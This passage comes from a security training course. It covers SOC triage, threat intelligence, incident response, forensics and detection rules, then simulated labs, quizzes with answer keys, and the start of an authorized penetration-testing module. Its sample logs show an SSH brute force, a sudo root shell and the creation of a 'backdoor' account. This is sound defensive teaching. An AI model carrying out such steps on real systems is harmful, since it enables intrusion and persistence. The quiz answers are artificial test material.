Good tickets have a clear timeline, the exact queries used, observables such as IPs and hashes, the verdict and the reason. Notes allow another analyst to reproduce the work and help tune rules later. Track false positive reasons per rule; a rule with 95 percent false positives needs tuning, not more analysts. Metrics like mean time to detect (MTTD) and mean time to respond (MTTR) show how the SOC performs. Avoid confirmation bias: look for evidence that contradicts your first guess, and ask a colleague when unsure.

TRIAGE NOTE

```
Alert: Multiple failed logons then success
Validate: 143 x 4625 then 4624, user svc-backup
Scope: host SRV-07, 09:02-09:14Z, ongoing no
Enrich: src 203.0.113.45 external, no known owner
Verdict: True positive, escalate to Tier 2
Action: disable svc-backup, preserve logs
```

WORKED EXAMPLE

A Tier 1 analyst receives an alert for a successful login to a server after many failures. Validation confirms the events. Scoping shows the source is an external address and the account is a service account that should never log in interactively. Enrichment finds no business reason for the connection. The analyst classifies it as a true positive, escalates with the timeline and observables to Tier 2 and asks for the account to be disabled, instead of closing it as a routine failed login alert.

KEY TERMS

Tier 1: Analysts who validate alerts and escalate incidents.

True positive: An alert that correctly identifies real malicious activity.

Benign true positive: Real activity detected correctly but allowed or expected.

Escalation: Passing an incident to a more senior team with context.

MTTR: Mean time to respond or recover.

Enrichment: Adding context such as reputation or asset owner to an alert.

REMEMBER

- Tier 1 validates and escalates, Tier 2 investigates, Tier 3 hunts and engineers.
- Triage: validate, scope, enrich, classify, act, with notes.
- Escalate on privileged, sensitive or spreading incidents.

QUICK CHECK

1. What is the correct order of the triage method described?
 - A) Classify, scope, validate, enrich
 - B) Validate, scope, enrich, classify
 - C) Enrich, close, scope, validate
 - D) Scope, close, classify, validate
2. A vulnerability scanner generates alerts as authorized. This is best classified as:
 - A) False positive
 - B) Benign true positive
 - C) Malware
 - D) Zero-day
3. Which item most clearly requires escalation?
 - A) A single failed login
 - B) Confirmed compromise of a privileged account
 - C) A scheduled patch
 - D) A blocked ad domain
4. A rule that is 95 percent false positives should be:
 - A) Ignored
 - B) Tuned or reviewed
 - C) Raised in severity
 - D) Deleted without review

Answers: 1-B 2-B 3-B 4-B

1. You verify the alert, define its extent, add context, then decide the verdict.
2. The activity is real but expected and allowed.
3. Privileged account compromise is high impact and needs senior response.
4. High false positive rates are a signal to tune the detection.

Threat intelligence intro

Threat intelligence adds outside knowledge about attackers to your own alerts, which speeds up decisions.

Indicators and behaviors

An indicator of compromise (IOC) is a piece of evidence of malicious activity: a file hash, IP address, domain, URL or registry key. IOCs are easy to share and match but attackers change them quickly. Tactics, techniques and procedures (TTPs) describe how attackers behave, such as using phishing for initial access or scheduled tasks for persistence. The MITRE ATT&CK framework catalogs these behaviors with IDs like T1566 (Phishing) and T1053 (Scheduled Task/Job). Behaviors are harder for attackers to change than indicators.

The Pyramid of Pain

David Bianco's Pyramid of Pain ranks indicators by how much pain it causes an adversary when you detect and deny them. From the bottom: hash values (trivial to change), IP addresses (easy), domain names (simple), network and host artifacts (annoying), tools (challenging) and TTPs (tough). Detections based on the top of the pyramid last longer. A hash block stops one file; a rule that detects an unusual use of a legitimate tool forces the attacker to rethink their approach. Mature teams combine fast IOC matching with behavior-based detection.

Sharing standards and platforms

Structured Threat Information Expression (STIX) is a JSON-based language for describing indicators, malware, campaigns and relationships. Trusted Automated Exchange of Intelligence Information (TAXII) is the transport protocol that moves STIX over HTTPS. MISP is an open source platform for storing, correlating and sharing intelligence in communities. Other sources include commercial feeds, ISACs (sector sharing groups), government alerts and open sources like abuse.ch. The Traffic Light Protocol (TLP) labels sharing limits: TLP:RED for named recipients only, TLP:AMBER for limited sharing, TLP:GREEN for the community and TLP:CLEAR for public.

Using intelligence well

Intelligence needs quality checks: source reliability, age, confidence level and context. Old IP indicators may point to a shared hosting address that now belongs to a harmless site, so blocking them causes false positives. Enrich alerts by looking up observables in MISP or a reputation service, then check whether the indicator was seen elsewhere in your logs, a practice called retro-hunting. Strategic intelligence informs leaders about trends, operational intelligence describes campaigns, and tactical intelligence supplies indicators for tools. Always record the source and confidence in your ticket notes.

STIX INDICATOR (SIMPLIFIED)

```
{
  "type": "indicator",
  "spec_version": "2.1",
  "name": "Known phishing domain",
  "pattern": "[domain-name:value = 'login.example-bad.test']",
  "pattern_type": "stix",
  "valid_from": "2026-03-01T00:00:00Z"
}
```

WORKED EXAMPLE

An email alert shows a link to login.example-bad.test. The analyst searches MISP and finds the domain tagged as a phishing kit from a sector sharing group at TLP:GREEN, seen two weeks ago with medium confidence. A retro-hunt of DNS logs shows two internal hosts resolved it yesterday. The analyst blocks the domain, resets the credentials of the two users, and also writes a detection for the kit's unusual URL path, which is higher on the Pyramid of Pain and more durable.

KEY TERMS

IOC: Observable evidence of malicious activity, such as a hash or domain.

TTP: The tactics, techniques and procedures describing attacker behavior.

STIX: A JSON language for describing cyber threat information.

TAXII: A protocol for exchanging STIX data over HTTPS.

MISP: An open source threat intelligence sharing platform.

Retro-hunt: Searching past logs for newly learned indicators.

REMEMBER

- IOCs are quick to match but short lived; TTPs last longer.
- STIX describes, TAXII transports, MISP shares.
- Check source, age and confidence before acting on intelligence.

QUICK CHECK

1. Which item is at the bottom of the Pyramid of Pain?

- A) TTPs
- B) Tools
- C) Hash values
- D) Network artifacts

2. STIX and TAXII are respectively:

- A) A scanner and a firewall
- B) A data format and a transport protocol
- C) Two log types
- D) Two encryption ciphers

3. Why can old IP indicators cause false positives?

- A) IPs are encrypted
- B) Addresses may be reassigned to harmless hosts
- C) They are too short
- D) They never change

4. TLP:RED means:

- A) Share publicly
- B) Limited to named recipients only
- C) Share with community
- D) No restrictions

Answers: 1-C 2-B 3-B 4-B

1. Hashes are the easiest for attackers to change.
2. STIX describes the data and TAXII carries it.
3. Shared or reassigned addresses can make old IOCs misleading.
4. RED is the most restrictive Traffic Light Protocol label.

Incident response lifecycle

Having a tested response process is what separates a controlled incident from a chaotic one.

What counts as an incident

An event is any observable occurrence; an incident is an event that violates or threatens security policy, such as ransomware, a data breach or a compromised account. NIST SP 800-61 Revision 2 describes the lifecycle in four stages that are often taught as six steps: preparation, detection and analysis, containment, eradication, recovery and post-incident activity (lessons learned). Revision 3, published in 2025, aligns incident response with the NIST Cybersecurity Framework 2.0 functions, but the classic phases remain the common teaching model.

Preparation and detection

Preparation means having a written plan, trained staff, contact lists, tools, access to logs, backups and a communication channel that does not depend on the compromised network. It includes tabletop exercises. Detection and analysis combine alerts, user reports and hunting. The team determines what happened, which systems and data are affected, and the severity, then assigns an incident handler and starts a log of actions with timestamps. Classifying incidents by type and impact guides resources and notifications to legal, management or regulators.

Containment, eradication and recovery

Containment limits damage. Short-term actions include isolating a host with the EDR network quarantine, disabling an account or blocking an address. Long-term containment may mean rebuilding segments or applying temporary controls. Before wiping a machine, capture volatile evidence. Eradication removes the cause: delete malware and persistence, patch the exploited flaw, reset credentials and close the entry route. Recovery restores systems from clean backups, monitors closely for re-infection and returns services in a planned order. Rushing recovery before eradication often leads to repeat compromise.

Lessons learned and communication

After the incident, hold a blameless review within a few weeks. Ask what happened, how it was detected, what worked, what slowed the team and which controls or detections to add. Update the plan, rules and training, and track the actions to completion. Communication is part of the response: keep an internal need-to-know channel, give regular updates to management, and follow legal obligations such as breach notification, which can be as short as 72 hours under GDPR. Preserve notes and evidence in case of litigation or law enforcement involvement.

INCIDENT TIMELINE

```
09:02Z Alert: ransomware behavior on WS-021
09:10Z Analyst confirms encryption activity
09:12Z Host isolated via EDR (containment)
09:40Z Phishing email and persistence found
11:30Z Credentials reset, malware removed (eradication)
14:00Z Restored from backup (recovery)
D+7 Lessons learned meeting
```

WORKED EXAMPLE

A workstation begins renaming files with a strange extension. The analyst confirms the activity and isolates the host through EDR within ten minutes, preserving the machine powered on to keep memory. The team traces the infection to a phishing attachment, finds a scheduled task used for persistence, removes it, resets the user's credentials and blocks the sender domain. The machine is restored from backup and monitored. A review adds attachment sandboxing and a faster EDR isolation playbook.

KEY TERMS

Incident: An event that violates or threatens security policy.

Containment: Actions that stop an incident from spreading or causing more damage.

Eradication: Removing the root cause, malware and persistence.

Recovery: Restoring systems and services to normal operation.

Tabletop exercise: A discussion-based rehearsal of an incident scenario.

Lessons learned: A post-incident review that improves people, process and tools.

REMEMBER

- Phases: preparation, detection and analysis, containment, eradication, recovery, lessons learned.
- Isolate first, preserve evidence, then remove the cause.
- Communicate and document throughout, and learn afterward.

QUICK CHECK

1. Which phase comes immediately after containment?
 - A) Preparation
 - B) Eradication
 - C) Detection
 - D) Lessons learned
2. Why capture volatile evidence before wiping a host?
 - A) It speeds up the wipe
 - B) Memory and running state disappear once the host is powered off or rebuilt
 - C) It is required by DNS
 - D) It reduces storage
3. What is the aim of a blameless review?
 - A) Assign fault
 - B) Improve controls and process
 - C) Delete evidence
 - D) Reduce the budget
4. Which standard describes the incident response lifecycle used here?
 - A) NIST SP 800-61
 - B) ISO 9001
 - C) PCI DSS 4.0
 - D) RFC 5424

Answers: 1-B 2-B 3-B 4-A

1. After stopping spread you remove the cause, then recover.
2. Volatile data is lost on shutdown or rebuild.
3. Reviews focus on learning and fixing weaknesses.
4. NIST SP 800-61 is the widely used incident handling guide.

Digital forensics fundamentals

Forensics lets you prove what happened, but only if evidence is collected and handled in a way that keeps it trustworthy.

Order of volatility

Digital evidence differs in how fast it disappears. The order of volatility, from most to least volatile, is: CPU registers and cache, memory (RAM), network state and connections, running processes, then disk, then remote logs and monitoring data, then archival media and backups. Collect the most volatile data first. A live memory capture can reveal running malware, decrypted data and network connections that do not exist on disk. The decision to pull the power or keep a system running depends on the case and should be made deliberately and recorded.

Imaging and hashing

Forensic analysts work on copies, never the original. A forensic image is a bit-for-bit copy of a drive that includes deleted and unallocated space. A write blocker, hardware or software, prevents the examiner's computer from altering the source. After imaging, a cryptographic hash such as SHA-256 is calculated for the original and the copy; matching values show the copy is exact. MD5 and SHA-1 are weaker but still appear in older workflows. The hash is recalculated whenever the evidence is handled to show it has not changed. Memory images are captured with tools such as those built into EDR or dedicated acquisition utilities.

Chain of custody

Chain of custody is the documented record of who collected, held, transferred and analyzed each piece of evidence, with dates, times, locations and reasons. Each item is labeled, sealed, stored securely and logged. Any gap can make evidence inadmissible or untrustworthy in legal or HR proceedings. A custody form typically contains a case number, item description, serial number, hash value, collector name and each transfer signature. Keep working copies separate from the master image, and store masters in locked, access-controlled storage. Photograph the scene and record system state before touching anything.

Analysis and good practice

Analysis uses artifacts: file system timestamps (modified, accessed, created), event logs, browser history, registry hives, prefetch files, and memory structures such as process lists. Build a timeline that merges artifacts from several sources. Be careful with time zones and with the fact that timestamps can be altered. Document every command and finding so another examiner can reproduce them. Stay within authorization and privacy law: collect only what is permitted. Report facts and evidence-backed conclusions, separate from opinion, and state limitations honestly.

EVIDENCE HASH RECORD

```
Case: IR-2026-014 Item: E-03 (laptop SSD)
Image: E-03.dd Size: 500107862016 bytes
SHA-256 (source): 9f2c...b71a
SHA-256 (image): 9f2c...b71a MATCH
Acquired by: A. Analyst 2026-03-10 10:20Z
Write blocker: yes Stored: Locker 4
```

WORKED EXAMPLE

An employee is suspected of copying files to a personal drive. The responder photographs the desk, notes that the laptop is on, captures memory first, then images the SSD through a write blocker and records matching SHA-256 hashes. The image is sealed in an evidence bag and the custody form is signed at each transfer. The examiner works only on a copy of the image and builds a timeline from file system and USB artifact data, so the conclusions can withstand review.

KEY TERMS

Order of volatility: The sequence for collecting evidence from most to least short-lived.

Forensic image: An exact bit-for-bit copy of a storage device.

Write blocker: A device or software that prevents changes to the source media.

Hash: A fixed-length fingerprint used to verify that data is unchanged.

Chain of custody: The documented history of evidence handling.

Timeline: A merged chronological view of artifacts from multiple sources.

REMEMBER

- Collect the most volatile data first: memory before disk.
- Image through a write blocker, hash, and analyze copies only.
- Record chain of custody for every transfer.

QUICK CHECK

1. Which is the MOST volatile?
 - A) Disk
 - B) RAM
 - C) Backup tape
 - D) Remote logs
2. Why use a write blocker?
 - A) To compress the image
 - B) To prevent changes to the original media
 - C) To encrypt the evidence
 - D) To speed up copying
3. Matching hashes between source and image show:
 - A) The disk is encrypted
 - B) The copy is an exact duplicate
 - C) The user is guilty
 - D) Malware is absent
4. Chain of custody documents:
 - A) Network speed
 - B) Who handled evidence, when and why
 - C) Antivirus versions
 - D) Backup schedules

Answers: 1-B 2-B 3-B 4-B

1. Memory is lost quickly when power is removed, so it is collected before disk.
2. Write blockers preserve the integrity of the source.
3. A match means the copy is bit-for-bit identical.
4. It records each handling step to keep evidence credible.

Detection use cases and playbooks

Detection rules and runbooks convert knowledge into repeatable, fast action that any analyst on shift can follow.

Detection use cases

A use case defines a threat, the data needed to see it and the logic to detect it. Start from risk or from MITRE ATT&CK: for brute force, the technique is T1110. Required data is authentication logs with source, user and result. Logic might be: more than 10 failed logons for one account, or more than 20 across many accounts, from one source within 5 minutes. Define severity, expected false positives such as a vulnerability scanner or a user with a stale mobile password, and the response expected. Test the rule against past data and sample attacks before enabling it.

Writing a brute force rule

A good rule has a clear window, threshold and grouping. For failures, group by source IP and by target user separately: one IP against many users indicates spraying, many IPs against one user indicates a distributed attack. Add a second stage that triggers at high severity if a success follows the failures within a short time, since that suggests the guess worked. Exclude known scanner addresses. Include context fields in the alert, such as the last logon time and the account's group memberships. Write the rule in your SIEM language and document its owner, version and tuning history.

Runbooks and playbooks

A runbook is a step-by-step procedure for a specific alert type, and a playbook covers a broader scenario. Elements include trigger, severity, checks to perform, decision points, containment actions, escalation contacts, evidence to save, communication steps and closure criteria. For a brute force alert: check whether the source is internal or external, check for success after failures, look up the IP in threat intelligence, confirm whether MFA stopped the login, and, if the account was accessed, disable it, reset credentials, check recent activity and escalate to Tier 2.

Communication and maintenance

Define who gets told, when and how: the on-call lead, the system owner, management for major events, legal and privacy officers for data exposure, and PR for public impact. Use templates with facts, impact, actions taken and next update time. Avoid speculation in messages. Review runbooks after every incident and at least yearly, and test them in exercises. Measure each rule's true positive rate and each runbook's time to complete. Where steps are repetitive, such as IP lookups, automate them with SOAR while keeping a human decision for destructive actions.

DETECTION RULE (PSEUDO)

```
rule: brute-force-success
source: auth logs
group_by: src_ip, user
window: 5m
condition: count(event=4625) >= 10
          AND followed_by(event=4624, 5m)
exclude: src_ip in [192.0.2.99]
severity: high ATTACK: T1110
```

WORKED EXAMPLE

A SOC wants to catch password guessing against the VPN. The detection engineer writes a rule that flags 10 or more failures per account in 5 minutes, then raises severity if a success follows. In testing against last month's logs, it fires 14 times; 11 are the monitoring probe at 192.0.2.99, which is added to the exclusion list. The runbook tells Tier 1 to check MFA status, disable the account if the login succeeded and escalate with the source IP and timeline.

KEY TERMS

Use case: A defined threat, data source and detection logic.

T1110: MITRE ATT&CK technique ID for brute force.

Runbook: A step-by-step procedure for handling a specific alert.

Playbook: A broader plan for responding to a type of incident.

Threshold: The count or value that triggers an alert.

Allow list: A list of known benign sources excluded from a rule.

REMEMBER

- Define use cases with threat, data, logic, severity and false positives.
- Brute force rules use windows, thresholds, grouping and a follow-on success check.
- Runbooks give clear steps, escalation and communication.

QUICK CHECK

1. Many IPs failing against one account suggests:
 - A) Password spraying from one host
 - B) A distributed attack on one user
 - C) Normal usage
 - D) DNS failure
2. Why add a 'success after failures' stage?
 - A) To reduce disk use
 - B) A success may mean the guess worked, raising severity
 - C) To hide alerts
 - D) To clear logs
3. What should a runbook include?
 - A) Only the vendor name
 - B) Trigger, checks, decisions, escalation and closure steps
 - C) Marketing text
 - D) Raw logs
4. Before enabling a new rule you should:
 - A) Deploy it to all production blindly
 - B) Test it against historical data to estimate false positives
 - C) Remove the logging
 - D) Disable MFA

Answers: 1-B 2-B 3-B 4-B

1. Several sources targeting one account indicates a distributed attempt.
2. The pattern suggests account compromise.
3. A runbook guides analysts through a repeatable response.
4. Backtesting shows noise levels and prevents alert fatigue.

Hunt failed logins in a SIEM

SCENARIO

The authentication logs of Example Corp's domain controller are loaded into the SIEM simulator. Help desk reports several lockouts. You must find the source and the targeted accounts.

OBJECTIVE

Find the spike of Event ID 4625 and identify the source IP and targeted accounts.

STEPS IN THE SIMULATOR

- 1 **Do:** Search: EventCode=4625 earliest=-24h | timechart span=1h count

Simulator shows:

Chart shows normal 5 to 10 per hour, then 412 at 09:00 to 10:00.

- 2 **Do:** Search: EventCode=4625 | stats count by src_ip | sort - count

Simulator shows:

203.0.113.45: 398; 192.0.2.77: 6; others under 5.

- 3 **Do:** Search: EventCode=4625 src_ip=203.0.113.45 | stats dc(user) as users, values(user)

Simulator shows:

users=14; values include admin, jdoe, asmith, backup, svc-sql and others.

- 4 **Do:** Search: EventCode=4624 src_ip=203.0.113.45

Simulator shows:

1 result: user=svc-sql at 09:47, LogonType=3.

- 5 **Do:** Check the LogonType and status fields of the 4625 events.

Simulator shows:

Status 0xC000006A, wrong password; mostly LogonType=3 (network).

- 6 **Do:** Open the asset page for svc-sql.

Simulator shows:

Service account, no interactive logon expected, owner: Database team.

ANSWER

Source 203.0.113.45 produced 398 failures against 14 accounts in one hour, which is password spraying, and one logon succeeded as svc-sql at 09:47. Disable or reset svc-sql, block the source, and escalate as a likely compromise.

Hint shown in the app: Group by source first, then count distinct users, and finally look for a success from that source.

Triage a phishing alert

SCENARIO

An email alert fired for a message to the finance team with a link and an attachment. The SIEM provides sender, URL and file hash and a threat intelligence panel.

OBJECTIVE

Enrich the sender, URL and hash and decide whether the alert is a true positive.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the alert and read the fields.

Simulator shows:

Sender: `billing@example-pay.test`; URL: `http://login.example-bad.test/pay`; Attachment: `invoice.xlsx`,
SHA-256 `a1b2...c3d4`.

- 2 **Do:** Enrich the sender domain.

Simulator shows:

Registered 3 days ago; looks like `example-pay.test`; no MX history.

- 3 **Do:** Enrich the URL.

Simulator shows:

MISP: tagged phishing kit, TLP:GREEN, confidence medium.

- 4 **Do:** Enrich the hash.

Simulator shows:

Sandbox: macro downloads second stage from 198.51.100.77; verdict malicious.

- 5 **Do:** Search proxy logs for the URL and IP.

Simulator shows:

2 internal users visited the URL; one downloaded `invoice.xlsx`.

- 6 **Do:** Select verdict and next action.

Simulator shows:

Verdict recorded as True Positive; escalate to Tier 2 with containment recommendation.

ANSWER

The alert is a true positive. The lookalike sender domain, the known phishing URL and the malicious macro attachment agree, and two users interacted with it. Block the domain and IP, remove the email, isolate the affected host, reset credentials and escalate.

Hint shown in the app: Look for agreement between three independent enrichment sources.

Analyze a Linux auth.log

SCENARIO

You have /var/log/auth.log from an Ubuntu server at 192.0.2.60. The server administrator suspects a break-in last night.

OBJECTIVE

Find the SSH brute force, the successful login and the following sudo activity.

STEPS IN THE SIMULATOR

1 Do: Filter: Failed password

Simulator shows:

Lines show 312 failures from 203.0.113.45 between 02:11 and 02:19 for users root, admin, test.

2 Do: Filter: Accepted

Simulator shows:

02:20:31 Accepted password for deploy from 203.0.113.45 port 51234 ssh2.

3 Do: Filter by user: deploy

Simulator shows:

02:20:31 session opened; 02:22:10 sudo: deploy : COMMAND=/bin/bash.

4 Do: Filter: sudo

Simulator shows:

02:22:10 sudo command /bin/bash; 02:23:02 useradd backdoor; 02:23:40 sudo passwd backdoor.

5 Do: Filter: session closed

Simulator shows:

02:31:55 session closed for user deploy.

6 Do: Mark the key lines and build a timeline.

Simulator shows:

Timeline saved with 5 entries.

ANSWER

Timeline: 312 failed SSH attempts from 203.0.113.45 ending 02:19, a successful login as deploy at 02:20:31, sudo to a root shell at 02:22:10, creation of a new account named backdoor at 02:23:02. This is a successful brute force followed by persistence; contain the host and reset credentials.

Hint shown in the app: Follow one source IP and one username from the failures through the success and onward.

Contain a compromised host

SCENARIO

A workstation at 192.0.2.88 shows ransomware behavior. You are the incident handler and must choose actions in the correct order using the NIST lifecycle.

OBJECTIVE

Choose containment, eradication and recovery actions in the right order.

STEPS IN THE SIMULATOR

- 1 **Do:** Review the alert and confirm file encryption on WS-088.

Simulator shows:

Confirmed: files renamed with .locked extension.

- 2 **Do:** Choose first action: isolate host with EDR.

Simulator shows:

Accepted; host network quarantined, memory kept.

- 3 **Do:** Capture memory and preserve logs.

Simulator shows:

Accepted: memory image and logs stored with hashes.

- 4 **Do:** Identify and remove the source: phishing email, persistence task.

Simulator shows:

Accepted; scheduled task removed, email purged from mailboxes.

- 5 **Do:** Reset the user's credentials and patch the exploited software.

Simulator shows:

Accepted; eradication complete.

- 6 **Do:** Restore from last clean backup and monitor.

Simulator shows:

Accepted; restored and monitoring for 14 days.

- 7 **Do:** Schedule lessons learned.

Simulator shows:

Review scheduled for day 7.

ANSWER

Correct order: isolate, preserve evidence, find and remove the cause (malware, persistence, entry route), reset credentials and patch, restore from clean backup, monitor, then lessons learned. Restoring before eradication risks reinfection.

Hint shown in the app: Stop the spread first, save volatile evidence, then remove the cause before restoring.

Preserve evidence

SCENARIO

A disk image of a suspected insider laptop and a USB drive were seized in the Example Corp case IR-2026-014. The case files are listed in the explorer with timestamps and hashes.

OBJECTIVE

Hash the image files, record chain of custody and sort evidence by volatility.

STEPS IN THE SIMULATOR

- 1

Do: Select E-03.dd and run sha256sum.

Simulator shows:
SHA-256: 9f2c...b71a (matches the acquisition record).
- 2

Do: Select E-04.dd and run sha256sum.

Simulator shows:
SHA-256: 77de...0a12 (does NOT match record 77de...0a13).
- 3

Do: Open the custody form for E-04.

Simulator shows:
Missing signature for transfer on 2026-03-11.
- 4

Do: Flag E-04 as integrity issue and re-acquire.

Simulator shows:
Re-acquired image hashes to 77de...0a13, match.
- 5

Do: Sort items by order of volatility.

Simulator shows:
Order: memory.raw, netstat_output.txt, E-03.dd, E-04.dd, cloud_logs.zip.
- 6

Do: Sign the custody form entries.

Simulator shows:
Chain of custody complete for 5 items.

ANSWER

E-03 matches its recorded hash. E-04 did not match and had a custody gap, so it must be re-acquired and documented.
Evidence order: memory first, then network state, then disk images, then remote logs.

Hint shown in the app: Compare computed and recorded hashes, and read the custody form for gaps.

Defensive Security Intro: 10 questions, 80% to pass

1. Which log source helps identify which device held an IP address at a given time?

- A) DHCP logs
- B) NTP logs
- C) Printer logs
- D) BIOS logs

2. Event ID 4624 indicates:

- A) A failed logon
- B) A successful logon
- C) Log cleared
- D) Process created

3. Normalization in a SIEM means:

- A) Deleting duplicates
- B) Mapping fields to a common schema
- C) Encrypting data
- D) Compressing data

4. In triage, scoping means:

- A) Closing the alert
- B) Determining affected users, hosts and time range
- C) Buying tools
- D) Writing the report

5. In the Pyramid of Pain, which causes the most pain to adversaries?

- A) Hashes
- B) IPs
- C) TTPs
- D) Domains

6. What does TAXII do?

- A) Describes indicators
- B) Transports threat intelligence over HTTPS
- C) Scans ports
- D) Encrypts disks

7. In NIST incident response, removing malware and persistence is:

- A) Containment
- B) Eradication
- C) Preparation
- D) Detection

8. Which should be collected first?

- A) Backups
- B) Disk
- C) Memory
- D) Archived logs

9. Matching SHA-256 values of source and image prove:

- A) The user is guilty
- B) The image is an exact copy
- C) The disk is clean
- D) The data is encrypted

10. A good brute force rule uses:

- A) A single failed login
- B) A window, threshold and grouping by source and user
- C) No exclusions
- D) Only manual review

Answers: 1-A 2-B 3-B 4-B 5-C 6-B 7-B 8-C 9-B 10-B

1. DHCP leases map IPs to devices.
2. 4624 is successful logon.
3. A common schema enables cross-source queries.
4. Scoping defines the extent of the activity.
5. Behavior-based detection forces attackers to change how they operate.
6. TAXII is the exchange protocol; STIX is the data format.
7. Eradication removes the root cause.
8. Memory is more volatile than disk.
9. Equal hashes mean identical data.
10. Windows, thresholds and grouping reduce noise and capture patterns.

Offensive Security Intro

Intermediate | 7 lessons | 5 simulated labs | checkpoint | about 5h 35m

This module explains how authorized penetration testing works from the first contract to the final report. You will learn scope, rules of engagement and legal limits, the PTES phases, passive and active reconnaissance, Nmap scanning and enumeration, the logic of exploitation with frameworks like Metasploit, post-exploitation steps, and how to write findings that help defenders fix problems. Everything is framed for sandbox labs and defense: understanding the attacker process helps you detect it, prevent it and report it well.

BY THE END YOU CAN

- + Describe pentest phases and rules of engagement
- + Perform recon, scanning and enumeration in a sandbox
- + Report findings with evidence and remediation

IN THIS MODULE

Lesson 1 Ethical hacking, scope and rules of engagement

Lesson 2 Pentest methodology

Lesson 3 Reconnaissance and OSINT

Lesson 4 Scanning and enumeration

Lesson 5 Exploitation overview

Lesson 6 Post-exploitation

Lesson 7 Reporting and remediation advice

Lab 1 Check scope before testing (Scenario)

Lab 2 Passive recon on a target (Web proxy)

Lab 3 Scan with Nmap (Terminal)

Lab 4 Exploit a vulnerable service (Terminal)

Lab 5 Escalate privileges (Terminal)

Checkpoint 10 questions, 80% to pass

Ethical hacking, scope and rules of engagement

Penetration testing is only ethical and legal when it is authorized and bounded, so scope and paperwork come before any tool.

Authorization and the law

Ethical hackers test systems with the written permission of the owner. Without it, the same actions can be a crime. In the United States the Computer Fraud and Abuse Act (CFAA) prohibits accessing a computer without authorization or exceeding authorized access, and other countries have similar laws such as the UK Computer Misuse Act. Permission must come from someone with the authority to grant it for those systems, and third parties matter: cloud providers, hosting companies and managed service providers may need to approve testing of their infrastructure. A signed authorization letter, sometimes called a get-out-of-jail-free letter, should be carried during on-site work.

Scope documents

Several documents define the engagement. A non-disclosure agreement (NDA) protects client information. A master services agreement (MSA) sets general terms, and a statement of work (SOW) lists objectives, deliverables, timeline and price. The rules of engagement (RoE) describe exactly what is allowed: in-scope IP ranges and domains, out-of-scope systems, testing hours, permitted techniques, whether denial of service or social engineering is allowed, how to handle sensitive data, emergency contacts and how to stop if something breaks. If an asset is not listed as in scope, treat it as out of scope and ask.

Types of tests and perspectives

Tests differ by how much information the tester receives. In a black box test the tester knows almost nothing, which resembles an outside attacker but takes longer. In a grey box test the tester has partial information such as a user account or network diagram. In a white box test the tester has full details including source code and architecture, which gives the deepest coverage in limited time. Tests also differ by target: external network, internal network, web application, wireless, cloud, mobile and social engineering. Red team exercises are goal-based and stealthier, while a vulnerability assessment lists weaknesses without exploiting them.

Professional conduct

A tester protects client data, minimizes harm and reports honestly. Use encrypted storage for findings, avoid keeping real sensitive data longer than needed, and never test on systems outside the scope even if you discover them. If you find evidence of a real crime or an active attacker, stop and notify the designated contact immediately. Take care with production systems: avoid risky tests during business hours unless agreed, keep logs of every action with timestamps so the client can match them to their own monitoring, and obtain written approval for any change to the plan. Trust is the product you sell.

RULES OF ENGAGEMENT EXCERPT

```
Client: Example Corp (fictional)
In scope : 198.51.100.0/28, test.example.com
Out of scope: payroll.example.com, any third-party SaaS
Window : Mon-Fri 22:00-06:00 UTC
Allowed : scanning, web testing, password audit (rate limited)
Forbidden: denial of service, social engineering
Emergency: SOC lead +1-555-0100
```

WORKED EXAMPLE

A tester is asked to look at 'our external network'. The tester insists on a signed RoE listing 198.51.100.0/28 and test.example.com. During scanning, a host at 198.51.100.40 responds with a banner for a payment provider. It is not in the list, so the tester stops, records it and asks the client contact whether it is theirs and whether it may be added in writing. Scope creep without written approval would expose the tester to legal risk.

KEY TERMS

CFAA: US law prohibiting unauthorized access to computers.

Rules of engagement: The document defining what testers may and may not do.

SOW: Statement of work that lists objectives and deliverables.

Black box: Testing with no prior knowledge of the target.

White box: Testing with full knowledge of systems and code.

Scope creep: Expanding testing beyond the agreed targets.

REMEMBER

- Written authorization and a clear scope come first.
- NDA, SOW and RoE define terms, goals and limits.
- Black, grey and white box differ by prior knowledge.

QUICK CHECK

1. What gives a tester legal permission to test?
 - A) A vulnerability scanner license
 - B) Written authorization from someone with authority over the systems
 - C) A security certification
 - D) A public IP address
2. Which document lists exactly which techniques and targets are allowed?
 - A) NDA
 - B) Rules of engagement
 - C) Invoice
 - D) Resume
3. A tester is given a low-privilege account and network diagram. This is:
 - A) Black box
 - B) Grey box
 - C) White box only
 - D) Red team only
4. You discover an unlisted server during a scan. You should:
 - A) Test it anyway
 - B) Stop and ask for written scope approval
 - C) Delete it
 - D) Publish it

Answers: 1-B 2-B 3-B 4-B

1. Without written authorization from the owner, testing can be a crime.
2. The RoE defines permitted actions and boundaries.
3. Partial knowledge defines grey box testing.
4. Unlisted systems are out of scope until approved.

Pentest methodology

A methodology keeps a test thorough and repeatable and gives clients a clear picture of what was done.

Why use a standard method

Ad hoc testing misses areas and is hard to explain. Standards give structure: the Penetration Testing Execution Standard (PTES), NIST SP 800-115, the OWASP Web Security Testing Guide (WSTG) for web applications and OSSTMM. PTES describes seven stages. Clients expect a methodology to be named in the report, along with the tools, dates and the tester's actions. A method also helps you decide when you are finished: when each phase's objectives are met or time is up.

The PTES phases

PTES stages are pre-engagement interactions (scope, contracts, goals), intelligence gathering (reconnaissance), threat modeling (identifying valuable assets and likely attackers), vulnerability analysis (finding and validating weaknesses), exploitation (proving that a weakness can be used), post-exploitation (determining impact and value of the access) and reporting. Many courses compress these into planning, recon, scanning and enumeration, exploitation, post-exploitation and reporting. Each phase feeds the next: scan results guide which exploits to consider, and what is achieved after exploitation shapes the business impact described in the report.

The cycle of work

Real testing is iterative rather than linear. A foothold on one host provides new networks to scan, new credentials to test and new data to find, so the tester returns to enumeration. Time-boxing prevents rabbit holes. Keep notes in a structured tool, record the exact commands, outputs and timestamps, and take screenshots as evidence. Tag each finding with the affected asset, evidence and a first impression of severity. Good notes make the reporting phase quick and the results reproducible by the client's engineers.

Safety and communication

During the test, keep in touch with the client. Agree on status updates, and report critical findings immediately instead of waiting for the final report, for example an exposed administrative interface or evidence of prior compromise. Avoid actions that cause outages, and confirm backups exist before risky tests. Keep a log so the SOC can distinguish your activity from a real attack. A retest after fixes is often included to confirm remediation. The goal is to reduce the organization's risk, not to prove cleverness.

PTES SUMMARY

- 1 Pre-engagement scope, RoE, goals
- 2 Intelligence OSINT, DNS, recon
- 3 Threat modeling assets, attackers
- 4 Vuln analysis scan, validate
- 5 Exploitation prove impact
- 6 Post-exploit value of access, cleanup
- 7 Reporting findings, fixes, retest

WORKED EXAMPLE

